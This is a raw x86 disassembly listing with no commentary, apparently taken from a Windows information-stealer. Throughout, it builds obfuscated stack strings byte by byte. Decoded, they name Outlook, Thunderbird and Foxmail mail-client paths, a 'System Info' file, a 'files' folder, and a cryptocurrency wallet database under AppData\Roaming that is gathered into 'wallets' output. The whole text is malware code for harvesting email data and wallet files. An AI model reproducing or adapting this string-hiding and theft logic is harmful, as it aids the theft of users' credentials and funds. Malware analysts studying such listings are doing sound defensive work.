mov byte [ebp - 0x139], al
push 0x6c
lea ecx, [ebp - 0x13c]
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x13c]
mov byte [ebp - 0x138], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x13c]
mov byte [ebp - 0x137], al
call fcn.004197ad
push 0x6b
lea ecx, [ebp - 0x13c]
mov byte [ebp - 0x136], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x13c]
mov byte [ebp - 0x135], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x13c]
mov byte [ebp - 0x134], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x13c]
mov byte [ebp - 0x133], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x13c]
mov byte [ebp - 0x132], al
call fcn.004197ad
mov byte [ebp - 0x131], al
xor esi, esi
mov byte [ebp - 0x130], 0
push esi
lea ecx, [ebp - 0x13b]
call fcn.00410f8d
lea ecx, [ebp - 0x13c]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x13b]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 0xb
jb 0x42d33c
push 0xb
lea ecx, [ebp - 0x13b]
call fcn.00410f8d
lea ecx, [ebp - 0x13b]
mov byte [eax], 0
call fcn.00410f8a
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push 0x6d
lea ecx, [ebp - 0x1ef]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x1ef], 0x21
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1ee], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1ed], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1ec], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1eb], al
call fcn.004197ad
push 0x5c
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1ea], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1e9], al
call fcn.004197ad
push 0x75
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1e8], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1e7], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1e6], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1e5], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1e4], al
call fcn.004197ad
push 0x6b
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1e3], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1e2], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1e1], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1e0], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1df], al
call fcn.004197ad
mov byte [ebp - 0x1de], al
mov byte [ebp - 0x1dd], 0
xor esi, esi
push esi
lea ecx, [ebp - 0x1ee]
call fcn.00410f8d
lea ecx, [ebp - 0x1ef]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x1ee]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 0x11
jb 0x42d4eb
push 0x11
lea ecx, [ebp - 0x1ee]
call fcn.00410f8d
lea ecx, [ebp - 0x1ee]
mov byte [eax], 0
call fcn.00410f8a
push dword [ebp - 0x1c]
mov ecx, dword [0x48b988]
mov edx, eax
call fcn.0043b794
pop ecx
push edi
lea ecx, [ebp - 0x186]
mov byte [ebp - 0x186], 0x4a
call fcn.004197ad
push 0x68
lea ecx, [ebp - 0x186]
mov byte [ebp - 0x185], al
call fcn.004197ad
push 0x75
lea ecx, [ebp - 0x186]
mov byte [ebp - 0x184], al
call fcn.004197ad
push 0x6e
lea ecx, [ebp - 0x186]
mov byte [ebp - 0x183], al
call fcn.004197ad
push 0x64
lea ecx, [ebp - 0x186]
mov byte [ebp - 0x182], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x186]
mov byte [ebp - 0x181], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x186]
mov byte [ebp - 0x180], al
call fcn.004197ad
push 0x62
lea ecx, [ebp - 0x186]
mov byte [ebp - 0x17f], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x186]
mov byte [ebp - 0x17e], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x186]
mov byte [ebp - 0x17d], al
call fcn.004197ad
push 0x64
lea ecx, [ebp - 0x186]
mov byte [ebp - 0x17c], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x186]
mov byte [ebp - 0x17b], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x186]
mov byte [ebp - 0x17a], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x186]
mov byte [ebp - 0x179], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x186]
mov byte [ebp - 0x178], al
call fcn.004197ad
mov byte [ebp - 0x177], al
xor esi, esi
mov byte [ebp - 0x176], 0
push esi
lea ecx, [ebp - 0x185]
call fcn.00410f8d
lea ecx, [ebp - 0x186]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x185]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 0xf
jb 0x42d672
push 0xf
lea ecx, [ebp - 0x185]
call fcn.00410f8d
lea ecx, [ebp - 0x185]
mov byte [eax], 0
call fcn.00410f8a
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push 0x6d
lea ecx, [ebp - 0x22c]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x22c], 0x5b
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x22b], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x22a], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x229], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x228], al
call fcn.004197ad
push 0x5c
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x227], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x226], al
call fcn.004197ad
push 0x68
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x225], al
call fcn.004197ad
push 0x75
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x224], al
call fcn.004197ad
push 0x6e
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x223], al
call fcn.004197ad
push 0x64
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x222], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x221], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x220], al
call fcn.004197ad
push 0x62
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x21f], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x21e], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x21d], al
call fcn.004197ad
push 0x64
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x21c], al
call fcn.004197ad
mov byte [ebp - 0x21b], al
push 0x2e
lea ecx, [ebp - 0x22c]
call fcn.004197ad
push edi
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x21a], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x219], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x22c]
mov byte [ebp - 0x218], al
call fcn.004197ad
mov byte [ebp - 0x217], al
xor esi, esi
mov byte [ebp - 0x216], 0
push esi
lea ecx, [ebp - 0x22b]
call fcn.00410f8d
lea ecx, [ebp - 0x22c]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x22b]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 0x15
jb 0x42d86d
push 0x15
lea ecx, [ebp - 0x22b]
call fcn.00410f8d
lea ecx, [ebp - 0x22b]
mov byte [eax], 0
call fcn.00410f8a
push dword [ebp - 0x1c]
mov ecx, dword [0x48b988]
mov edx, eax
call fcn.0043b794
pop ecx
push 0x66
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x158], 0x1d
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x157], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x156], al
call fcn.004197ad
push 0x6d
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x155], al
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x154], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x153], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x152], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x151], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x150], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x14f], al
call fcn.004197ad
push 0x6d
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x14e], al
call fcn.004197ad
push 0x70
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x14d], al
call fcn.004197ad
mov byte [ebp - 0x14c], al
xor esi, esi
mov byte [ebp - 0x14b], 0
push esi
lea ecx, [ebp - 0x157]
call fcn.00410f8d
lea ecx, [ebp - 0x158]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x157]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 0xc
jb 0x42d9bd
push 0xc
lea ecx, [ebp - 0x157]
call fcn.00410f8d
lea ecx, [ebp - 0x157]
mov byte [eax], 0
call fcn.00410f8a
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push 0x6d
lea ecx, [ebp - 0x215]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x215], 0x36
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x214], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x213], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x212], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x211], al
call fcn.004197ad
push 0x5c
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x210], al
call fcn.004197ad
push 0x66
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x20f], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x20e], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x20d], al
call fcn.004197ad
push 0x6d
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x20c], al
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x20b], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x20a], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x209], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x208], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x207], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x206], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x215]
mov byte [ebp - 0x205], al
call fcn.004197ad
mov byte [ebp - 0x204], al
mov byte [ebp - 0x203], 0
xor esi, esi
push esi
lea ecx, [ebp - 0x214]
call fcn.00410f8d
lea ecx, [ebp - 0x215]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x214]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 0x11
jb 0x42db6d
push 0x11
lea ecx, [ebp - 0x214]
call fcn.00410f8d
lea ecx, [ebp - 0x214]
mov byte [eax], 0
call fcn.00410f8a
push dword [ebp - 0x1c]
mov ecx, dword [0x48b988]
mov edx, eax
call fcn.0043b794
pop ecx
mov ecx, 0x488afc
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push 0x53
lea ecx, [ebp - 0x197]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x197], 1
call fcn.004197ad
push 0x79
lea ecx, [ebp - 0x197]
mov byte [ebp - 0x196], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x197]
mov byte [ebp - 0x195], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x197]
mov byte [ebp - 0x194], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x197]
mov byte [ebp - 0x193], al
call fcn.004197ad
push 0x6d
lea ecx, [ebp - 0x197]
mov byte [ebp - 0x192], al
call fcn.004197ad
push 0x20
lea ecx, [ebp - 0x197]
mov byte [ebp - 0x191], al
call fcn.004197ad
push 0x49
lea ecx, [ebp - 0x197]
mov byte [ebp - 0x190], al
call fcn.004197ad
push 0x6e
lea ecx, [ebp - 0x197]
mov byte [ebp - 0x18f], al
call fcn.004197ad
push 0x66
lea ecx, [ebp - 0x197]
mov byte [ebp - 0x18e], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x197]
mov byte [ebp - 0x18d], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x197]
mov byte [ebp - 0x18c], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x197]
mov byte [ebp - 0x18b], al
call fcn.004197ad
push 0x78
lea ecx, [ebp - 0x197]
mov byte [ebp - 0x18a], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x197]
mov byte [ebp - 0x189], al
call fcn.004197ad
mov byte [ebp - 0x188], al
mov byte [ebp - 0x187], 0
xor esi, esi
push esi
lea ecx, [ebp - 0x196]
call fcn.00410f8d
lea ecx, [ebp - 0x197]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x196]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 0xf
jb 0x42dd11
push 0xf
lea ecx, [ebp - 0x196]
call fcn.00410f8d
xor ebx, ebx
lea ecx, [ebp - 0x196]
mov byte [eax], bl
call fcn.00410f8a
push dword [ebp - 0x1c]
mov ecx, dword [0x48b988]
mov edx, eax
call fcn.0043b794
pop ecx
mov ecx, 0x488afc
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0x7c4]
call fcn.00411d34
lea ecx, [ebp - 0x7c4]
mov byte [ebp - 4], 0x4c
call fcn.0040bed4
lea ecx, [ebp - 0x7c4]
call fcn.00411ce9
mov ecx, 0x489050
mov byte [ebp - 4], 0x4d
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
mov dword [ebp - 0x394], eax
lea ecx, [ebp - 0x7dc]
push ebx
lea eax, [ebp - 0x394]
push eax
call fcn.004130e7
lea eax, [ebp - 0x7dc]
mov byte [ebp - 4], 0x4e
push eax
lea ecx, [ebp - 0x3c4]
call fcn.0040b384
lea ecx, [ebp - 0x7dc]
call fcn.0040aa13
push ecx
push ecx
lea eax, [ebp - 0x3c4]
mov ecx, esp
push eax
call fcn.0040c654
lea ecx, [ebp - 0x304]
call fcn.0040b409
lea eax, [ebp - 0x3c4]
mov ecx, esp
push eax
call fcn.0040c654
lea ecx, [ebp - 0x444]
call fcn.0040b427
pop ecx
pop ecx
mov byte [ebp - 4], 0x52
lea eax, [ebp - 0x444]
push eax
lea ecx, [ebp - 0x304]
call fcn.0040b3f8
test al, al
je 0x42dff8
lea ecx, [ebp - 0x304]
call fcn.0040b3ce
mov esi, eax
mov ecx, esi
call fcn.0040afbc
mov ecx, eax
call fcn.00414960
test al, al
je 0x42dfe8
inc dword [0x48b980]
mov ecx, esi
call fcn.0040afbc
lea ecx, [ebp - 0xcbc]
push ecx
mov ecx, eax
call fcn.0040a781
mov ecx, eax
mov byte [ebp - 4], 0x53
call fcn.00411bb7
mov ecx, esi
mov dword [ebp - 0x2c], eax
call fcn.0040afbc
lea ecx, [ebp - 0xca4]
push ecx
mov ecx, eax
call fcn.0040a97e
lea ecx, [ebp - 0xc8c]
mov byte [ebp - 4], 0x54
push ecx
mov ecx, eax
call fcn.0040a781
mov ecx, eax
mov byte [ebp - 4], 0x55
call fcn.00411bb7
push 0x66
lea ecx, [ebp - 0xb7]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0xb7], 0x14
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0xb7]
mov byte [ebp - 0xb6], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0xb7]
mov byte [ebp - 0xb5], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0xb7]
mov byte [ebp - 0xb4], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0xb7]
mov byte [ebp - 0xb3], al
call fcn.004197ad
push 0x5c
lea ecx, [ebp - 0xb7]
mov byte [ebp - 0xb2], al
call fcn.004197ad
mov byte [ebp - 0xb1], al
mov esi, ebx
mov byte [ebp - 0xb0], bl
lea ecx, [ebp - 0xb6]
cmp esi, 6
jae 0x42df94
push esi
call fcn.00410f8d
lea ecx, [ebp - 0xb7]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0xb6]
mov byte [ebp - 0x11], al
call fcn.00410f8d
mov cl, byte [ebp - 0x11]
inc esi
mov byte [eax], cl
jmp 0x42df5d
push 6
call fcn.00410f8d
lea ecx, [ebp - 0xb6]
mov byte [eax], bl
call fcn.00410f8a
mov edx, dword [ebp - 0x1c]
mov ecx, eax
call fcn.004324c4
push dword [ebp - 0x2c]
mov ecx, dword [0x48b988]
mov edx, eax
call fcn.0043b794
pop ecx
lea ecx, [ebp - 0xc8c]
call fcn.00411ce9
lea ecx, [ebp - 0xca4]
call fcn.0040aa13
lea ecx, [ebp - 0xcbc]
mov byte [ebp - 4], 0x52
call fcn.00411ce9
lea ecx, [ebp - 0x304]
call fcn.0040b3d1
jmp 0x42de41
lea ecx, [ebp - 0x444]
call fcn.0040b41b
lea ecx, [ebp - 0x304]
call fcn.0040b41b
lea ecx, [ebp - 0x3c4]
call fcn.0040b41b
jmp 0x42e031
mov edx, 0x200
mov dword [ebp - 4], 0x48
lea ecx, [ebp - 0x1450]
call fcn.0043289e
push 0x5c
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x26e], 0x6d
call fcn.004197ad
push 0x41
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x26d], al
call fcn.004197ad
push 0x70
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x26c], al
call fcn.004197ad
push 0x70
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x26b], al
call fcn.004197ad
push 0x44
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x26a], al
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x269], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x268], al
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x267], al
call fcn.004197ad
push 0x5c
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x266], al
call fcn.004197ad
push 0x52
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x265], al
call fcn.004197ad
push 0x6f
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x264], al
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x263], al
call fcn.004197ad
push 0x6d
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x262], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x261], al
call fcn.004197ad
push 0x6e
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x260], al
call fcn.004197ad
push 0x67
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x25f], al
call fcn.004197ad
push 0x5c
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x25e], al
call fcn.004197ad
push 0x42
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x25d], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x25c], al
call fcn.004197ad
mov byte [ebp - 0x25b], al
push edi
lea ecx, [ebp - 0x26e]
call fcn.004197ad
push 0x68
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x25a], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x259], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x258], al
call fcn.004197ad
push 0x5c
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x257], al
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x256], al
call fcn.004197ad
push 0x64
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x255], al
call fcn.004197ad
push 0x64
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x254], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x253], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x252], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x251], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x250], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x24f], al
call fcn.004197ad
push 0x64
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x24e], al
call fcn.004197ad
push 0x62
lea ecx, [ebp - 0x26e]
mov byte [ebp - 0x24d], al
call fcn.004197ad
mov byte [ebp - 0x24c], al
mov esi, ebx
mov byte [ebp - 0x24b], bl
push esi
lea ecx, [ebp - 0x26d]
call fcn.00410f8d
lea ecx, [ebp - 0x26e]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x26d]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 0x22
jb 0x42e2db
push 0x22
lea ecx, [ebp - 0x26d]
call fcn.00410f8d
lea ecx, [ebp - 0x26d]
mov byte [eax], 0
call fcn.00410f8a
mov edx, eax
lea ecx, [ebp - 0x1450]
call fcn.004324c4
push 0x77
lea ecx, [ebp - 0x202]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x202], 0x3a
call fcn.004197ad
push 0x61
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x201], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x200], al
call fcn.004197ad
push 0x6c
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x1ff], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x1fe], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x1fd], al
call fcn.004197ad
push 0x73
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x1fc], al
call fcn.004197ad
push 0x5c
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x1fb], al
call fcn.004197ad
push 0x62
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x1fa], al
call fcn.004197ad
push 0x69
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x1f9], al
call fcn.004197ad
push edi
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x1f8], al
call fcn.004197ad
push 0x68
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x1f7], al
call fcn.004197ad
push 0x65
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x1f6], al
call fcn.004197ad
push 0x72
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x1f5], al
call fcn.004197ad
push 0x2e
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x1f4], al
call fcn.004197ad
push 0x64
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x1f3], al
call fcn.004197ad
push 0x62
lea ecx, [ebp - 0x202]
mov byte [ebp - 0x1f2], al
call fcn.004197ad
mov byte [ebp - 0x1f1], al
xor esi, esi
mov byte [ebp - 0x1f0], 0
push esi
lea ecx, [ebp - 0x201]
call fcn.00410f8d
lea ecx, [ebp - 0x202]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x201]
mov bl, al
call fcn.00410f8d
inc esi
mov byte [eax], bl
cmp esi, 0x11
jb 0x42e488
push 0x11
lea ecx, [ebp - 0x201]
call fcn.00410f8d
lea ecx, [ebp - 0x201]
mov byte [eax], 0
call fcn.00410f8a
push dword [ebp - 0x1c]
mov ecx, dword [0x48b988]
mov edx, eax
call fcn.0043b794
pop ecx
mov esi, 0x489080
lea ecx, [ebp - 0x40]
push esi
call fcn.0042fd3a
mov ecx, eax
call fcn.00420e90
test al, al
jne 0x42e5bf
push esi
lea ecx, [ebp - 0x40]
call fcn.0042fd3a
mov ecx, eax
call fcn.00430146
cmp eax, 1
jne 0x42e5bf
mov ebx, 0x488fd8
mov ecx, ebx
call fcn.00411bb7
mov edi, eax
call fcn.0043295d
sub esp, 0x18
mov edx, edi
mov ecx, eax
mov esi, esp
call fcn.004324c4
push eax
mov ecx, esi
call fcn.00411d34
push 0x28
pop ecx
call fcn.0042951b
add esp, 0x18
mov ecx, ebx
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
mov ecx, ebx
mov esi, eax
call fcn.00411bb7
mov ecx, dword [0x48b988]
mov edx, eax
push esi
call fcn.0043b794
pop ecx
mov ecx, ebx
call fcn.00411bb7
mov esi, eax
call fcn.0043295d
mov edx, esi
mov ecx, eax
call fcn.004324c4
push eax
lea ecx, [ebp - 0x7f4]
call fcn.00411d34
lea ecx, [ebp - 0x7f4]
mov byte [ebp - 4], 0x57
call fcn.0040bed4
lea ecx, [ebp - 0x7f4]
mov byte [ebp - 4], 0x48
call fcn.00411ce9
mov ecx, 0x489008
call fcn.00411bb7
mov edi, eax
mov dword [ebp - 0x2c], edi
call fcn.0043295d
mov edx, edi
mov ecx, eax
call fcn.004324c4
mov dword [ebp - 0x2dc], eax
lea ecx, [ebp - 0x80c]
push 0
lea eax, [ebp - 0x2dc]
push eax
call fcn.004130e7
lea ecx, [ebp - 0x80c]
mov byte [ebp - 4], 0x58
call fcn.0040ba07
lea ecx, [ebp - 0x80c]
mov byte [ebp - 4], 0x48
mov bl, al
call fcn.0040aa13
test bl, bl
je 0x42e824
push 0
lea eax, [ebp - 0x2dc]
push eax
lea ecx, [ebp - 0x824]
call fcn.004130e7
lea eax, [ebp - 0x824]
mov byte [ebp - 4], 0x59
push eax
lea ecx, [ebp - 0x3b4]
call fcn.0040b613
lea ecx, [ebp - 0x824]
call fcn.0040aa13
push ecx
push ecx
lea eax, [ebp - 0x3b4]
mov ecx, esp
push eax
call fcn.0040c654
lea ecx, [ebp - 0x2fc]
call fcn.0040b409
lea eax, [ebp - 0x3b4]
mov ecx, esp
push eax
call fcn.0040c654
lea ecx, [ebp - 0x424]
call fcn.0040b427
pop ecx
pop ecx
lea eax, [ebp - 0x424]
push eax
lea ecx, [ebp - 0x2fc]
call fcn.0040b3f8
test al, al
je 0x42e803
lea ecx, [ebp - 0x2fc]
call fcn.0040b3ce
mov esi, eax
mov byte [ebp - 4], 0x5e
mov ecx, esi
call fcn.0040afbc
lea ecx, [ebp - 0xcd4]
push ecx
mov ecx, eax
call fcn.0040a781
push 0
push eax
lea ecx, [ebp - 0x83c]
mov byte [ebp - 4], 0x5f
call fcn.00413090
lea ecx, [ebp - 0x83c]
mov byte [ebp - 4], 0x60
call fcn.00414960
lea ecx, [ebp - 0x83c]
mov bl, al
call fcn.0040aa13
lea ecx, [ebp - 0xcd4]
mov byte [ebp - 4], 0x5e
call fcn.00411ce9
test bl, bl
je 0x42e7ec
mov ecx, esi
call fcn.0040afbc
lea ecx, [ebp - 0xd1c]
push ecx
mov ecx, eax
call fcn.0040a781
mov ecx, eax
mov byte [ebp - 4], 0x61
call fcn.00411bb7
mov ecx, esi
mov dword [ebp - 0x1c], eax
call fcn.0040afbc
lea ecx, [ebp - 0xd04]
push ecx
mov ecx, eax
call fcn.0040a781
mov ebx, eax
mov byte [ebp - 4], 0x62
push dword [ebp - 0x2dc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0xffffffffffffffff
push eax
lea eax, [ebp - 0xcec]
mov ecx, ebx
push eax
call fcn.00411a2a
mov ecx, eax
mov byte [ebp - 4], 0x63
call fcn.00411bb7
mov edx, eax
mov ecx, edi
call fcn.004324c4
push dword [ebp - 0x1c]
mov ecx, dword [0x48b988]
mov edx, eax
